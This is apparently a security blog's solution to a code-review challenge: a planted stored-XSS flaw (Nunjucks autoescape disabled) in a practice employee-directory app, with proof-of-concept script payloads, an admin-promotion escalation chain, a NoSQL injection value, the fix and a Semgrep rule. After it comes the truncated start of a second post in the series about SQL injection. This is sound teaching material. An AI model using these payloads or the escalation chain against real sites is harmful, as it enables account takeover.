Employee Directory does almost everything right. Invitation codes are random, hashed and single-use. JWTs have a pinned algorithm. Every admin route checks the role, and the role is re-read from the database on every request. Salaries are masked, profile updates go through allowlists, forms carry CSRF tokens and NoSQL operators are stripped from every request.

It still lets any employee run code in the admin’s browser. All it takes is a <script> tag in their profile Name and one line in the template config: autoescape: false.

This post walks through the full review: how the app works, where user input goes, which defenses hold, which one is missing, a working exploit, and the fix. Every code snippet you need is included, so you don’t have to open the repo to follow along. Each snippet links to its exact lines on GitHub if you want more context.

🎥 Prefer video? The full walkthrough is on YouTube:

What is the Secure Code Review Challenge?

It’s a free, biweekly series. Each challenge is a complete, realistic application with its own database, backend and UI, and one vulnerability planted on purpose, based on a real-world CVE or writeup. You review it the way you’d review a real codebase, then compare your reasoning with the published solution.

Every solution follows the same 7-step methodology:

1. 🗺️ Understand the application: architecture and main user stories
2. 🚪 Identify entry points: where user input comes in
3. 🎯 Identify dangerous sinks: where input could change behavior (queries, file paths, HTML, …)
4. 🧩 Build a threat model: business-logic risks (authN/authZ) and source-to-sink risks (injection)
5. 🔍 Review mitigations: which threats are actually closed, and which aren’t
6. 🧪 Exploit: prove the unmitigated one is real
7. 🛠️ Fix: a primary fix plus defense-in-depth

📌 Repo: https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge
📌 Challenge #8 source: https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/008-employee-directory

⚠️ Spoiler warning: if you want to try Employee Directory yourself first, stop here and come back later.

1. 🗺️ Understanding the application

Employee Directory is an internal company phonebook. Employees look each other up, and admins manage the records.

• Backend: Express.js (Node)
• Frontend: server-rendered HTML pages, built with the Nunjucks template engine
• Database: MongoDB, through Mongoose
• Auth: a JWT, returned as a bearer token by the API and kept in an httpOnly cookie by the web UI
• Roles: employee and admin

The README sets out the rules the whole design protects:

“Employees browse everyone’s public fields, see salary only on their own record, and can edit the public fields of their own record — never salary. Admins see and edit every field of every record (including salary), delete records, invite new hires, and promote other users to admin.”j

So there are two things worth stealing: the salary field, and the admin role that unlocks it.

A good way to understand a codebase is to read it as a set of stories. We’ll start with what happens when the app starts, then follow the main use cases: an admin invites a new hire, the new hire registers, they edit their profile, and everyone browses the directory.

🚀 Story 1: what happens when the app starts

docker-compose.yml starts two containers: a stock mongo:7 and the app, which gets its secrets from .env:

app:
    build: .
    container_name: directory_app
    ports:
      - "3000:3000"
    environment:
      MONGODB_URI: mongodb://mongo:27017/employee_directory
    env_file:
      - .env

docker-compose.yml#L17-L30

The Dockerfile installs production dependencies and runs node app.js as an unprivileged user. In app.js, the server refuses to start without a JWT secret:

if (!process.env.JWT_SECRET) {
  console.error('JWT_SECRET is required');
  process.exit(1);
}

app.js#L20-L23

Next it configures the template engine. Every page you see in the browser is a Nunjucks template in views/, and the engine fills in values like {{ emp.name }}. Read this config carefully. It matters later:

nunjucks.configure(viewsPath, {
  autoescape: false,
  express: app,
  noCache: process.env.NODE_ENV !== 'production'
});

app.js#L56-L60

Then it registers the global middleware. Two of them are security controls we’ll come back to: mongoSanitize and a CSRF check.

app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(cookieParser());
app.use(mongoSanitize());     // strips keys containing $ or . → blocks NoSQL operator injection

app.use(optionalAuth);        // sets req.user if a valid token is present
...
app.use(csrfMiddleware);      // csurf on every non-exempt state-changing request

app.js#L63-L79

Finally it mounts four routers: the server-rendered pages at /, plus the auth, employees and admin JSON APIs:

app.use('/', pagesRoutes);
app.use('/api/auth', authRoutes);
app.use('/api/employees', employeesRoutes);
app.use('/api/admin', adminRoutes);

app.js#L85-L88

On first boot, with an empty database, the app creates a bootstrap admin with a random password and prints it to the logs:

const password = crypto.randomBytes(12).toString('base64url');
const passwordHash = await bcrypt.hash(password, 10);
const user = await store.createUser('admin@localhost', passwordHash, 'admin', null);

src/bootstrap.js#L9-L11

🔄 Story 2: the admin invites a new hire

The admin fills in an email on /admin and clicks Create invitation. The API version of that route sits behind two middlewares for the whole router:

router.use(requireAuth, requireAdmin);

src/routes/admin.js#L11

The store voids any older codes for that email, generates 16 random bytes and stores only their bcrypt hash. The plaintext is returned once and never saved:

async createInvitation(email) {
  const normalized = email.toLowerCase().trim();
  await Invitation.updateMany(
    { email: normalized, used: false },
    { $set: { used: true } }
  );
  const plaintext = crypto.randomBytes(16).toString('hex');
  const codeHash = await bcrypt.hash(plaintext, 10);
  const expiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000);
  await Invitation.create({ email: normalized, codeHash, expiresAt, used: false });
  return { email: normalized, invitationCode: plaintext, expiresAt };
}

src/store/directoryStore.js#L224-L240

🔄 Story 3: the new hire registers and logs in

POST /api/auth/register takes email, password and invitationCode. It rejects duplicate emails, checks and consumes the invitation, then creates the user with a role that is hard-coded to employee:

const okInvite = await db.validateAndConsumeInvitation(email, invitationCode);
if (!okInvite) { ... return res.status(400).json({ error: 'Invalid or expired invitation' }); }

const passwordHash = await bcrypt.hash(password, 10);

const user = await db.createUser(email, passwordHash, 'employee', null);

src/routes/auth.js#L66-L76

The invitation check treats the code like a password. It finds unused, unexpired invitations for that email, compares with bcrypt, and marks the match as used:

const invitations = await Invitation.find({
  email: normalized,
  used: false,
  expiresAt: { $gt: new Date() }
}).sort({ expiresAt: -1 });

for (const inv of invitations) {
  const match = await bcrypt.compare(plaintextCode, inv.codeHash);
  if (match) {
    inv.used = true;
    await inv.save();
    return true;
  }
}
return false;

src/store/directoryStore.js#L252-L269

Login compares the bcrypt hash and signs an HS256 JWT. The web form also stores it in an httpOnly, SameSite=Lax cookie, so JavaScript on the page can't read it:

const cookieOptions = {
  httpOnly: true,
  maxAge: 24 * 60 * 60 * 1000,
  path: '/',
  sameSite: 'lax'
};

src/routes/auth.js#L21-L26

On every later request, requireAuth verifies the token with the algorithm pinned, then reloads the user from the database. So req.user.role is always the current role in MongoDB, not whatever the token says:

const decoded = jwt.verify(token, secret, { algorithms: ['HS256'] });
const user = await db.findUserById(decoded.userId);
if (!user) {
  return res.status(401).json({ error: 'User not found' });
}

req.user = {
  id: user.id,
  email: user.email,
  role: user.role,
  employeeId: user.employeeId
};

src/middleware/auth.js#L36-L47

🔄 Story 4: an employee updates their own profile

The My profile form posts to POST /profile (the API equivalent is PATCH /api/employees/me). The handler finds the caller's record from req.user.id, never from an ID in the request, and copies only an allowlist of public fields:

const emp = await db.findEmployeeByUserId(req.user.id);
...
const allowed = ['name', 'title', 'manager', 'deskNumber', 'location', 'phone'];
const patch = {};
for (const key of allowed) {
  if (Object.prototype.hasOwnProperty.call(req.body, key)) {
    patch[key] = req.body[key];
  }
}
await db.updateEmployeeById(emp.id, patch);

src/routes/pages.js#L64-L75

The allowlist controls which fields you can write. Nothing checks what you write into them: no length limit, no character rules. Whatever you type into Name is saved as-is.

🔄 Story 5: everyone browses the directory

GET / asks the store for the directory, filtered for the viewer. Admins and the record's owner get the full row. Everyone else gets a masked copy without salary or email:

async getDirectoryForViewer(viewerUserId, viewerRole) {
  const employees = await this.listEmployees();
  const viewerIdStr = viewerUserId ? String(viewerUserId) : null;
  return employees.map((emp) => {
    if (viewerRole === 'admin') {
      return { ...emp };
    }
    if (emp.userId && emp.userId === viewerIdStr) {
      return { ...emp };
    }
    return this.maskEmployee(emp);
  });
}

src/store/directoryStore.js#L210-L222

The page then prints every field into a table cell:

{% for emp in employees %}
<tr>
  <td>{{ emp.name }}</td>
  <td>{{ emp.title }}</td>
  <td>{{ emp.manager }}</td>
  <td>{{ emp.deskNumber }}</td>
  <td>{{ emp.location }}</td>
  <td>{{ emp.phone }}</td>

views/directory.html#L19-L26

The admin page (GET /admin) goes further. It lists every employee as an editable form, with each stored value inside an <input value="...">, next to the Make admin buttons:

<label>Name <input type="text" name="name" value="{{ emp.name }}"></label>
...
<form method="post" action="/admin/promote/{{ u.id }}" style="display:inline;">
  <input type="hidden" name="_csrf" value="{{ csrfToken() }}">
  <button type="submit">Make admin</button>
</form>

views/admin.html#L45 · views/admin.html#L70-L73

🧠 The key observation from step 1

Put stories 4 and 5 side by side:

any employee ──writes──▶ name, title, location, …  ──stored as typed──▶ MongoDB
                                                                          │
admin's browser ◀──renders {{ emp.name }}── directory.html / admin.html ◀─┘
                    (the page that holds the "Make admin" buttons)

Text written by the least privileged user is rendered in the page of the most privileged user. That’s a trust boundary. Everything depends on the template engine turning that text into harmless characters on the way out.

2. 🚪 Entry points

• POST /api/auth/register: no auth (needs a valid invitation), takes email, password, invitationCode
• POST /api/auth/login: no auth, takes email, password
• POST /api/auth/logout: no auth
• GET /api/employees: any user, no input
• PATCH /api/employees/me: any user, takes name, title, manager, deskNumber, location, phone
• POST /api/admin/invitations: admin, takes email
• GET /api/admin/invitations, GET /api/admin/employees, GET /api/admin/users: admin, no input
• PATCH /api/admin/employees/:id: admin, takes :id and the whole body
• DELETE /api/admin/employees/:id: admin, takes :id
• PATCH /api/admin/users/:id: admin, takes :id, role
• GET /login, GET /register: no auth, take ?error=
• GET /: any user, renders stored data
• GET /profile, POST /profile: any user (+ CSRF on the POST), the public fields
• GET /admin: admin, renders stored data
• POST /admin/employee/:id, POST /admin/promote/:id, POST /admin/invite: admin + CSRF, :id and form fields
• GET /api/csrf-token, GET /health: no auth

3. 🎯 Dangerous sinks

• S1: HTML rendering with Nunjucks. The templates print stored employee fields and the ?error= query parameter. If user input can become markup, you get XSS (CWE-79).
• S2: MongoDB queries and updates built from input → NoSQL operator injection. It comes in two flavors:

S2a, query filters: email at login and register, invitationCode, :id. An operator like {"$ne": null} would change which documents match.

S2b, the update document: updateEmployeeById(id, patch). An operator like $unset or $rename would change what the update does.

• S3: redirects. res.redirect(...) is used all over auth.js and pages.js → open redirect.

4 & 5. 🧩 Threat model & 🔍 mitigation review

🔓 Business logic

Authentication ✅. The app won’t start without JWT_SECRET. jwt.verify pins HS256, which blocks alg: none and algorithm confusion (jsonwebtoken docs). Tokens expire after 24h, and the user is reloaded from the database on every request. Every admin API route has requireAuth, and every page that needs a user has requireUser.

const decoded = jwt.verify(token, secret, { algorithms: ['HS256'] });
const user = await db.findUserById(decoded.userId);

src/middleware/auth.js#L36-L37 · secret required, app.js#L20-L23 · 24h expiry, auth.js#L12-L19

requireUser, used by the web pages, only lets a request through once optionalAuth has verified the token and set req.user:

function requireUser(req, res, next) {
  if (!req.user) {
    return res.redirect('/login');
  }
  next();
}

src/routes/pages.js#L10-L15

Invitation-only registration ✅. Can someone register without an invitation, reuse one, or use someone else’s? No. Codes are 128-bit random and only their bcrypt hash is stored, so even a database leak doesn’t reveal a usable code. Each code is tied to one email and expires after 7 days, and creating a new one voids the old ones:

await Invitation.updateMany(
  { email: normalized, used: false },
  { $set: { used: true } }
);
const plaintext = crypto.randomBytes(16).toString('hex');
const codeHash = await bcrypt.hash(plaintext, 10);
const expiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000);

src/store/directoryStore.js#L226-L232

At registration, only an unused, unexpired code for that email is accepted, and the match is marked used so it works once:

const invitations = await Invitation.find({
  email: normalized,
  used: false,
  expiresAt: { $gt: new Date() }
}).sort({ expiresAt: -1 });
...
    inv.used = true;
    await inv.save();

src/store/directoryStore.js#L254-L264

And the new account’s role is hard-coded, so you can’t register yourself as an admin. A second registration with the same email is blocked by the pre-checks and by the unique index on email:

const user = await db.createUser(email, passwordHash, 'employee', null);

src/routes/auth.js#L76 · duplicate checks, auth.js#L50-L64 · unique index, directoryStore.js#L6

Vertical privilege escalation (employee → admin) ✅. The admin API router applies both middlewares to every route, and requireAdmin checks the role that requireAuth just loaded from the database:

router.use(requireAuth, requireAdmin);

src/routes/admin.js#L11

const requireAdmin = async (req, res, next) => {
  if (!req.user || req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Admin access required' });
  }
  next();
};

src/middleware/auth.js#L57-L62

The /admin* pages don't use that router, so each handler checks the role itself (pages.js#L85, #L106, #L128, #L140):

router.post('/admin/promote/:id', requireUser, async (req, res, next) => {
  try {
    if (req.user.role !== 'admin') {
      return res.status(403).send('Forbidden');
    }
    await db.updateUserRole(req.params.id, 'admin');
    res.redirect('/admin');

src/routes/pages.js#L126-L132

Keep that last detail in mind: the check is “is this request from an admin?”, and it is.

Horizontal access to salaries ✅. getDirectoryForViewer (src/store/directoryStore.js#L210-L222, shown in story 5) returns maskEmployee for other people's rows. It builds a new object from the public fields only, so salary and email can't leak by accident:

maskEmployee(emp) {
  return {
    id: emp.id,
    name: emp.name,
    title: emp.title,
    manager: emp.manager,
    deskNumber: emp.deskNumber,
    location: emp.location,
    phone: emp.phone
  };
}

src/store/directoryStore.js#L198-L208

The self-edit routes look up the record from req.user.id (src/routes/pages.js#L64, src/routes/employees.js#L30), never from an ID in the request, and the API rejects salary outright:

if (Object.prototype.hasOwnProperty.call(req.body, 'salary')) {
  return res.status(403).json({ error: 'Cannot update salary through this endpoint' });
}

src/routes/employees.js#L35-L37

CSRF ✅. csurf checks a _csrf token on every state-changing request that isn't exempt. Requests with an Authorization: Bearer header skip it, which is safe: a page on another site can't make the browser add that header. Removing the _csrf field from an invite request in Burp Repeater gets Invalid or missing CSRF token. The cookie is also SameSite=Lax.

function csrfMiddleware(req, res, next) {
  const auth = req.headers.authorization;
  const hasBearer = auth && String(auth).startsWith('Bearer ');
  if (hasBearer && !['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
    return next();
  }
  if (req.method === 'POST' && CSRF_EXEMPT_AUTH_POST.has(req.path)) {
    return next();
  }
  return csrfProtection(req, res, next);
}

app.js#L36-L46

One caveat for later: a CSRF token only stops requests from another origin. A script running on this origin can read the token like any form on the page does.

Mass assignment ✅. Can an employee write fields they shouldn’t, like salary, email or userId? No. There are two allowlists. The employee routes copy only the six public fields (src/routes/pages.js#L68-L74, src/routes/employees.js#L39-L45, shown in story 4). The store then copies only its own fixed list of keys, so unknown fields like role or _id never reach MongoDB:

const allowed = [
  'name', 'title', 'manager', 'deskNumber', 'location', 'phone',
  'salary', 'userId', 'email'
];

src/store/directoryStore.js#L160-L170

salary, userId and email are on the store's list, but only the admin API passes the raw body to it, and that route sits behind requireAdmin:

router.patch('/employees/:id', async (req, res) => {
  try {
    const updated = await db.updateEmployeeById(req.params.id, req.body);

src/routes/admin.js#L47-L49

This matches the OWASP Mass Assignment cheat sheet’s advice to allowlist the bindable fields.

💉 Source-to-sink

S2a, NoSQL injection in filters ✅. The classic attack sends an object instead of a string, for example {"email": {"$ne": null}}. express-mongo-sanitize strips $-prefixed and dotted keys from the body, query and params before any handler runs:

app.use(mongoSanitize());

app.js#L66

On top of that, findUserByEmail calls email.toLowerCase(), which throws on an object, and findUserById goes through Mongoose, which casts the ID to an ObjectId and rejects anything else:

async findUserByEmail(email) {
  const doc = await User.findOne({ email: email.toLowerCase().trim() });
  return toUserDto(doc);
}

async findUserById(id) {
  const doc = await User.findById(id);
  return toUserDto(doc);
}

src/store/directoryStore.js#L86-L94

S2b, NoSQL injection in updates ✅. updateEmployeeById builds a brand-new update object from a fixed list of keys, so a top-level $unset or $rename is never copied in, and mongo-sanitize strips nested $ keys too:

const update = {};
for (const key of allowed) {
  if (Object.prototype.hasOwnProperty.call(patch, key)) {
    ...
    update[key] = patch[key];
  }
}
const doc = await Employee.findByIdAndUpdate(id, update, { new: true, runValidators: true });

src/store/directoryStore.js#L171-L186

S3, open redirect ✅. Every res.redirect target is a hard-coded relative path like /login or /profile?saved=1. User data only goes into the query string, and only after encodeURIComponent, so it can't change where the browser goes:

return res.redirect('/register?error=' + encodeURIComponent('All fields are required'));
...
res.redirect('/profile?saved=1');

src/routes/auth.js#L45 · src/routes/pages.js#L76

S1, XSS: this is where it breaks ❌. Go back to the template config from story 1:

nunjucks.configure(viewsPath, {
  autoescape: false,

app.js#L56-L57

Autoescaping is the control that turns < into &lt;, " into &quot; and so on whenever a value is printed with {{ }}. It's exactly what the OWASP XSS Prevention cheat sheet calls output encoding. Nunjucks turns it on by default, so this line switches it off for every template at once.

Combine that with story 4 (Name is stored exactly as typed) and story 5 (Name is printed into the directory table and the admin page), and a profile field becomes HTML in the admin’s browser.

💡 Reviewer’s lesson: when you see a template engine, a UI framework or a markdown renderer, check its escaping setting before you read a single template. One global flag can undo every {{ value }} in the app, and it's a one-line change that's easy to miss in review.

6. 🧪 Exploitation

Why a plain <script> works

Where the value lands decides what the payload has to look like:

• The Directory, <td>{{ emp.name }}</td>: the value is element text, so a plain <script>…</script> becomes a real script tag. No breakout is needed.
• The admin page, <input value="{{ emp.name }}">: the value is inside a quoted attribute, so a payload needs a leading "> to close the attribute and the tag first.
• Your own profile page: the same attribute context, which is why the payload doesn’t fire while you’re typing it.

PoC

1. The employee puts a script in their Name. On My profile, they set Name to test2<script>alert('XSS')</script> and click Save. The server stores it as typed.

2. The admin logs in and opens the Directory. Admins land on /admin after login (top right: admin@localhost). From there they click Directory, an ordinary part of their day.

3. The script runs in the admin’s browser. The alert comes from localhost:3000, the app's own origin, so the attacker's code is running inside the admin's session.

What a real payload can do

An alert is only the proof. A real payload can do anything the admin's page can do:

• Read the admin’s CSRF token from GET /api/csrf-token, or from the hidden _csrf fields on /admin.
• Send admin requests as the admin. The session cookie is httpOnly, so the script can't read it, but it doesn't need to: the browser attaches it to every request the script sends.
• Promote the attacker. With the token and the cookie, a POST /admin/promote/<attacker-id> passes requireUser, the role check and the CSRF check, because it really does come from the admin's browser.
• Upgrade the attacker’s existing session. requireAuth reloads the role from the database, so the attacker's own token becomes an admin token immediately.

Impact: any employee becomes an admin the next time an admin opens the Directory. From there they can read and change every salary, delete records, create invitations and promote others. The same payload also runs for every employee who opens the directory.

Classification: Stored Cross-Site Scripting, CWE-79, caused by disabled output encoding, CWE-116. It turns into privilege escalation because the victim is an admin.

7. 🛠️ The fix

Primary fix: turn output encoding back on. Delete the line or set it to true:

nunjucks.configure(viewsPath, {
-  autoescape: false,
+  autoescape: true,
   express: app,
   noCache: process.env.NODE_ENV !== 'production'
 });

Here is the real admin.html rendering the same kind of payload, before and after:

autoescape:false -> <input type="text" name="location" value=""><script>alert(1)</script>">
autoescape:true  -> <input type="text" name="location" value="&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;">

Nunjucks’ escaping encodes & " ' < >, which covers both places this app prints values: element text and double-quoted attributes. None of the templates intentionally output HTML, so nothing needs | safe.

Defense-in-depth (do these too):

1. Add a Content Security Policy. None of the templates use inline <script>, so a policy like script-src 'self'; object-src 'none'; base-uri 'none' (for example with helmet) blocks this payload without breaking the UI.
2. Validate profile fields when they come in. Enforce lengths and per-field formats (phone, desk number), and reject < and > in plain-text fields. This is a safety net, not the fix: output encoding is still required. If you ever need rich text, use an allowlist sanitizer like DOMPurify instead of | safe.
3. Make privilege changes harder to ride. Require re-authentication or a confirmation step for Make admin, and audit-log role changes.
4. Guard the config in CI. No public Semgrep ruleset flags autoescape: false for Nunjucks, but a custom rule takes a few lines:

   rules:
     - id: nunjucks-autoescape-disabled
       languages: [javascript, typescript]
       severity: ERROR
       message: Nunjucks is configured with autoescape disabled, so every {{ value }} is written into the HTML unencoded.
       pattern-either:
         - pattern: "$NUNJUCKS.configure(..., {..., autoescape: false, ...})"
         - pattern: "new $NUNJUCKS.Environment(..., {..., autoescape: false, ...})"

nunjucks-autoescape-disabled.yam

It flags the root cause directly:

$ semgrep scan --metrics=off \
       --config solutions/008-employee-directory/nunjucks-autoescape-disabled.yaml \
       challenges/008-employee-directory

       challenges/008-employee-directory/app.js
      ❯❯❱ solutions.008-employee-directory.nunjucks-autoescape-disabled
              56┆ nunjucks.configure(viewsPath, {
              57┆   autoescape: false,
              58┆   express: app,
              59┆   noCache: process.env.NODE_ENV !== 'production'
              60┆ });

The rule points at the config, not at each {{ emp.name }}, which is the right place: one flag turns off encoding for every template. A taint rule wouldn't find this anyway, because the payload is saved to MongoDB in one request and rendered in another.

🌍 Real-world examples

• Stored XSS to Privilege Escalation to Admin Takeover to Data Breach — Ahmad Halabi (Aug 2025). A bug bounty write-up on a HackerOne financial program. An employee could only see the loan they were invited to, but the loan’s purchase description was rendered without encoding. The researcher stored a <script src=…> payload there and invited the manager to review the loan. When the manager opened it, the script read the manager's CSRF token and replayed the role-change request, making the employee a manager. Almost exactly this challenge's chain.
• From a Sanitized Name Field to One-Click Account Takeover — zere.es (2026). The server stripped HTML from a name field, but the front-end decoded HTML entities and wrote the value with innerHTML, so entity-encoded markup survived and ran. The author chained it with login CSRF and OAuth-code theft for one-click takeover. A different sink with the same lesson: filtering input doesn't help when the output isn't encoded for its context.

📚 More resources

• CWE-79: Cross-site Scripting and CWE-116: Improper Encoding or Escaping of Output
• OWASP Cross Site Scripting Prevention Cheat Sheet
• Nunjucks: Autoescaping and configure options
• PortSwigger Web Security Academy: Stored XSS
• PortSwigger lab: Exploiting XSS to bypass CSRF defenses
• MDN: Content Security Policy

🎯 Takeaway

Employee Directory’s server-side authorization is sound: role checks, salary masking, allowlists and CSRF tokens all hold, and httpOnly keeps the session cookie out of reach. One template setting makes them irrelevant. They all still run, but once attacker script runs on your origin in an admin's browser, every check sees a legitimate admin request.

Whenever something renders in the browser, whether it’s React, Angular, a template engine or a markdown renderer, check that user input goes through HTML escaping on the way out. Keep autoescape on, and treat any field a low-privileged user writes and a high-privileged user reads as a trust boundary.

🔔 What’s next

Challenge #9: ProjectHub is live now. Can you find the bug before the solution drops?

👉 https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/009-projecthub

New challenges land every two weeks, and each drop includes the previous challenge’s solution. Watch the repo (Watch → Custom → Releases) to get notified, and subscribe to AppSec Untangled on YouTube for the video walkthroughs.

If you found the bug yourself, or took a different route to it, tell me in the comments 👇

The Secure Code Review Challenge — Solution #8: Employee Directory (One Setting Away from Admin… was originally published in AppSec Untangled on Medium, where people are continuing the conversation by highlighting and responding to this story.

It still lets anyone on the internet, without an account, read every private post and dump the users table. The way in is the search box.

This post walks through the full review: how the app works, where user input goes, which defenses hold, which one is missing, a working exploit (with sqlmap doing the heavy lifting), and the fix. Every code snippet you need is included, so you don’t have to open the repo to follow along. Each snippet links to its exact lines on GitHub if you want more context.

🎥 Prefer video? The full walkthrough is on YouTube:

What is the Secure Code Review Challenge?

It’s a free, biweekly series. Each challenge is a complete, realistic application with its own database, backend and UI, and one vulnerability planted on purpose, based on a real-world CVE or writeup. You review it the way you’d review a real codebase, then compare your reasoning with the published solution.

Every solution follows the same 7-step methodology:

1. 🗺️ Understand the application: architecture and main user stories
2. 🚪 Identify entry points: where user input comes in
3. 🎯 Identify dangerous sinks: where input could change behavior (queries, file paths, HTML, …)
4. 🧩 Build a threat model: business-logic risks (authN/authZ) and source-to-sink risks (injection)
5. 🔍 Review mitigations: which threats are actually closed, and which aren’t
6. 🧪 Exploit: prove the unmitigated one is real
7. 🛠️ Fix: a primary fix plus defense-in-depth

📌 Repo: https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge
📌 Challenge #7 source: https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/007-blogger

⚠️ Spoiler warning: if you want to try Blogger yourself first, stop here and come back later.

1. 🗺️ Understanding the application

Blogger is a small multi-user blogging platform. You sign up, write posts, mark some of them private, and search everything you’re allowed to see.

• Backend: Express.js 5 (Node)
• Frontend: server-rendered HTML pages using the Nunjucks templating engine, served by the same Express app
• Database: PostgreSQL, accessed through the Knex query builder
• Auth: JWTs, sent either as a bearer header (JSON API) or in an httpOnly cookie (web UI)

The README makes one security promise, and it explicitly includes search:

“A private post is visible, editable, and deletable only by its author — everyone else should be denied.”
“A full-text search feature ranks posts by relevance. Results must respect privacy: you should see public posts plus your own private ones, and nobody else’s private posts.”

The whole review comes down to whether that promise holds.

A good way to understand a codebase is to read it as a set of stories. Two stories cover this app: what happens when it starts, and what happens when a user registers, reads, writes and searches posts.

🚀 Story 1: what happens when the app starts

docker-compose.yml starts two containers: a stock postgres:16 and the app. Note the database user, because it matters later. The official postgres image creates POSTGRES_USER as a superuser, and the app connects as that same user:

postgres:
    image: postgres:16
    environment:
      POSTGRES_DB: blogger_db
      POSTGRES_USER: blogger_user
      POSTGRES_PASSWORD: blogger_password
  ...
  app:
    build: .
    environment:
      DATABASE_URL: postgres://blogger_user:blogger_password@postgres:5432/blogger_db

docker-compose.yml#L1-L35

The Dockerfile installs the dependencies and runs node app.js. In app.js, the app configures Nunjucks with autoescaping on (an XSS defense we'll come back to), registers the body and cookie parsers, and mounts three routers:

const env = nunjucks.configure(viewsPath, {
  autoescape: true,
  express: app,
  noCache: process.env.NODE_ENV !== 'production'
});
...
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(cookieParser());

app.use('/', optionalAuth, pagesRoutes);
app.use('/api/auth', authRoutes);
app.use('/api/posts', optionalAuth, postsRoutes);

app.js#L22-L37

The pages and the posts API both sit behind optionalAuth. That makes sense, because anonymous visitors can still read public posts. The middleware reads a JWT from the Authorization header or the token cookie, verifies it, loads the user from the database and sets req.user. If there's no valid token, it just moves on and leaves req.user empty:

const optionalAuth = async (req, res, next) => {
  ...
  let token = null;
  const authHeader = req.headers.authorization;
  if (authHeader && authHeader.startsWith('Bearer ')) {
    token = authHeader.slice(7);
  } else if (req.cookies && req.cookies.token) {
    token = req.cookies.token;
  }

  if (!token) return next();
  try {
    const decoded = jwt.verify(token, secret);
    const user = await db.findUserById(decoded.userId);
    if (user) {
      req.user = { id: user.id, username: user.username, email: user.email };
    }
  } catch (_) {}
  next();
}

src/middleware/auth.js#L52-L76

So authentication is decided per handler, not by the middleware: every route that needs a logged-in user has to check req.user itself.

All database access goes through one class, DatabaseStore in src/store/database.js, built on Knex. Both the JSON API and the HTML pages call the same store. The README calls them "the same data seen two ways".

🔄 Story 2: register → read → write → search

Register and log in. Registration hashes the password with bcrypt (cost 10), creates the user and issues a JWT:

const saltRounds = 10;
const passwordHash = await bcrypt.hash(password, saltRounds);

const user = await db.createUser(username, email, passwordHash);
...
const token = issueToken(user);

if (isWebForm(req)) {
  res.cookie('token', token, cookieOptions);
  return res.redirect('/my-posts');
}

src/routes/auth.js#L58-L72

When the request comes from the web form, the token goes into a cookie with these options:

const cookieOptions = {
  httpOnly: true,
  maxAge: 7 * 24 * 60 * 60 * 1000,
  path: '/',
  sameSite: 'lax'
};

src/routes/auth.js#L21-L26

Read the feed. The feed query is built with the Knex builder, and the privacy rule (“public, or mine”) is part of the WHERE clause:

async getFeedPosts(userId, limit = 50) {
  const q = knex('posts as p')
    .join('users as u', 'p.user_id', 'u.id')
    .orderBy('p.created_at', 'desc')
    .limit(limit)
    .select('p.*', 'u.username as author_username');
  if (userId) {
    q.where((builder) => {
      builder.where('p.is_private', false).orWhere('p.user_id', userId);
    });
  } else {
    q.where('p.is_private', false);
  }
  ...
}

src/store/database.js#L66-L81

Read a single post. This one fetches the post by ID first, then checks privacy on the result:

const post = await db.getPostById(req.params.id);
if (!post) return res.status(404).json({ error: 'Post not found' });
if (post.isPrivate && (!req.user || req.user.id !== post.userId)) {
  return res.status(403).json({ error: 'Access denied' });
}

src/routes/posts.js#L49-L53

Write, edit, delete. Every mutating handler follows the same pattern: require a login, load the post, compare owners:

router.patch('/:id', async (req, res) => {
  ...
    if (!req.user) return res.status(401).json({ error: 'Authentication required' });
    ...
    const existing = await db.getPostById(req.params.id);
    if (!existing) return res.status(404).json({ error: 'Post not found' });
    if (existing.userId !== req.user.id) {
      return res.status(403).json({ error: 'Access denied' });
    }

src/routes/posts.js#L78-L86

…and the store scopes the write by owner a second time:

const updated = await knex('posts')
  .where({ id: postId, user_id: userId })
  .update({ ...data, updated_at: knex.fn.now() })

src/store/database.js#L101-L110

Search. The search route takes q from the query string and passes it to the store, along with the user ID if someone is logged in. No login is required:

router.get('/search', async (req, res) => {
  ...
    const q = req.query.q;
    const userId = req.user ? req.user.id : null;
    const posts = await db.searchPosts(q, userId);
    res.json({ posts });

src/routes/posts.js#L33-L39

The web UI has the same thing at GET /search (pages.js#L48-L59).

searchPosts uses PostgreSQL full-text search (to_tsvector, plainto_tsquery, ts_rank) to rank results by relevance. These functions aren't first-class in the Knex builder, so this is the only query in the store that's written by hand and passed to knex.raw. We'll look at it closely in step 4/5.

🧠 The key observation from step 1

Every query in the app goes through the Knex builder except one:

getFeedPosts   → knex('posts').where(...)   builder ✔
getPostById    → knex('posts').where(...)   builder ✔
updatePost     → knex('posts').where(...)   builder ✔
deletePost     → knex('posts').where(...)   builder ✔
searchPosts    → knex.raw(`...`)            hand-written SQL ⚠️

Knex keeps you safe from SQL injection only as long as values go through it as bindings. The one place the developer stepped outside the builder is the place to slow down.

2. 🚪 Entry points

Auth API

• POST /api/auth/register: public, takes username, email, password, web
• POST /api/auth/login: public, takes username, password, web

Posts API

• GET /api/posts/feed: optional auth, no other input
• GET /api/posts/mine: login required, no other input
• GET /api/posts/search?q=: optional auth, takes q
• GET /api/posts/:id: optional auth (private posts → owner only), takes id
• POST /api/posts: login required, takes title, body, is_private
• PATCH /api/posts/:id: owner only, takes id, title, body, is_private
• DELETE /api/posts/:id: owner only, takes id

Web UI

• GET /, GET /my-posts, GET /login, GET /register, GET /logout: an error query parameter on login/register
• GET /search?q=: optional auth, takes q
• GET /posts/new, GET /posts/:id, GET /posts/:id/edit, GET /posts/:id/delete: take id
• POST /posts, POST /posts/:id, POST /posts/:id/delete: form fields title, body, is_private

On every request: the Authorization header and the token cookie.

3. 🎯 Dangerous sinks

• S1: SQL queries built with the Knex query builder → SQL injection. Fed from usernames, emails, post fields, :id and the JWT's userId.
• S2: raw SQL passed to knex.raw (full-text search) → SQL injection. Fed from q.
• S3: HTML rendering with Nunjucks → XSS. Fed from post titles and bodies, usernames, the search term and the error query parameter.
• S4: redirects (/posts/${post.id}, /register?error=…) → open redirect.

